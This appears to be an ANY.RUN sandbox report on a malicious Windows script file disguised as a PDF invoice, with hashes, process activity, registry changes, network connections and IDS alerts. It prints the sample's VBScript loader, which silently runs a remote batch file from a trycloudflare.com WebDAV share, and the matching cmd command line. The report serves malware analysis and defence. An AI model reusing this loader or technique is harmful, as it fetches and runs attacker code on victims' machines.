download:

/4YS7830293/RE_0078234567965441.pdf.wsf

Full analysis: https://app.any.run/tasks/e71edda8-5870-4984-bd60-5bc6d29fbb7a
Verdict: Malicious activity
Analysis date: April 15, 2025, 19:33:08
OS: Windows 11 Professional (build: 22000, 64 bit)
Tags:
webdav
Indicators:
MIME: text/xml
File info: XML 1.0 document, ASCII text, with CRLF line terminators
MD5:

88104BFA92F0A0C146D96C359D727094

SHA1:

BE0EC1CC233C2FF05AF552AD290ABA44FEE2BCD5

SHA256:

33AE3272C43F635ABD8030FD68370641EFFDC85CF4FB17A3BE096C8217DAF7CA

SSDEEP:

6:TMVBd/6nXT+q9NqhdF2bdF/z7fBhkIX+N/Q52pyJzMeq:TMHdCXaqahHkL1WIO1U2gzMeq

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    No malicious indicators.
  • SUSPICIOUS

    • Reads the Internet Settings

      • wscript.exe (PID: 2552)
      • cmd.exe (PID: 2612)
    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2552)
    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2552)
    • Remote file execution via WebDAV

      • cmd.exe (PID: 2612)
    • Executing commands from a ".bat" file

      • wscript.exe (PID: 2552)
  • INFO

    • Checks proxy server information

      • cmd.exe (PID: 2612)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xml | Generic XML (ASCII) (100)

EXIF

XMP

JobScriptLanguage: VBScript
JobScript: Set objShell = CreateObject("WScript.Shell") ' Run yap.bat from WebDAV silently objShell.Run "cmd /c start /min \\n-rhythm-victoria-venture.trycloudflare.com@SSL\DavWWWRoot\yap.bat", 0, False
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
104
Monitored processes
4
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start wscript.exe no specs cmd.exe no specs conhost.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
1304\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1664C:\Windows\system32\svchost.exe -k NetworkService -pC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\bcryptprimitives.dll
2552"C:\Windows\System32\WScript.exe" C:\Users\admin\Desktop\RE_0078234567965441.pdf.wsfC:\Windows\System32\wscript.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2612"C:\Windows\System32\cmd.exe" /c start /min \\n-rhythm-victoria-venture.trycloudflare.com@SSL\DavWWWRoot\yap.batC:\Windows\System32\cmd.exewscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.22000.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\kernel.appcore.dll
c:\windows\system32\bcryptprimitives.dll
Total events
1 497
Read events
1 488
Write events
9
Delete events
0

Modification events

(PID) Process:(2552) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2552) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2552) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2552) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2612) cmd.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\4c\52C64B7E
Operation:writeName:@%SystemRoot%\System32\ndfapi.dll,-40001
Value:
Windows Network Diagnostics
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
16
DNS requests
11
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2564
smartscreen.exe
GET
200
208.89.74.31:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?92d3b2fd62feb3ca
unknown
whitelisted
2564
smartscreen.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
whitelisted
3640
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
whitelisted
2768
svchost.exe
GET
200
208.89.74.29:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?4dd4673b063e3e0b
unknown
whitelisted
1352
svchost.exe
GET
200
184.24.77.24:80
http://www.msftconnecttest.com/connecttest.txt
unknown
whitelisted
2768
svchost.exe
GET
200
208.89.74.29:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?423c998f8c5f5379
unknown
whitelisted
2768
svchost.exe
GET
200
208.89.74.29:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?19e96282cfb6ebd1
unknown
whitelisted
2988
OfficeClickToRun.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
whitelisted
2768
svchost.exe
GET
200
208.89.74.29:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?e8295883656f7dad
unknown
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1352
svchost.exe
184.24.77.4:80
Akamai International B.V.
DE
unknown
2564
smartscreen.exe
20.93.72.182:443
checkappexec.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2564
smartscreen.exe
208.89.74.31:80
ctldl.windowsupdate.com
US
whitelisted
2564
smartscreen.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
4820
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3640
svchost.exe
40.126.31.129:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3640
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
1352
svchost.exe
184.24.77.24:80
Akamai International B.V.
DE
unknown
3952
svchost.exe
239.255.255.250:1900
whitelisted
2528
svchost.exe
23.197.142.186:443
fs.microsoft.com
Akamai International B.V.
US
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 216.58.206.78
whitelisted
checkappexec.microsoft.com
  • 20.93.72.182
whitelisted
ctldl.windowsupdate.com
  • 208.89.74.31
  • 208.89.74.19
  • 208.89.74.29
whitelisted
n-rhythm-victoria-venture.trycloudflare.com
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
login.live.com
  • 40.126.31.129
  • 20.190.159.130
  • 20.190.159.71
  • 40.126.31.0
  • 40.126.31.1
  • 40.126.31.73
  • 20.190.159.75
  • 20.190.159.2
whitelisted
fs.microsoft.com
  • 23.197.142.186
whitelisted
self.events.data.microsoft.com
  • 20.50.80.210
whitelisted

Threats

PID
Process
Class
Message
Potentially Bad Traffic
ET INFO Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)
Potentially Bad Traffic
SUSPICIOUS [ANY.RUN] Cloudflare Tunnel (TryCloudflare)
Misc activity
ET INFO Microsoft Connection Test
No debug info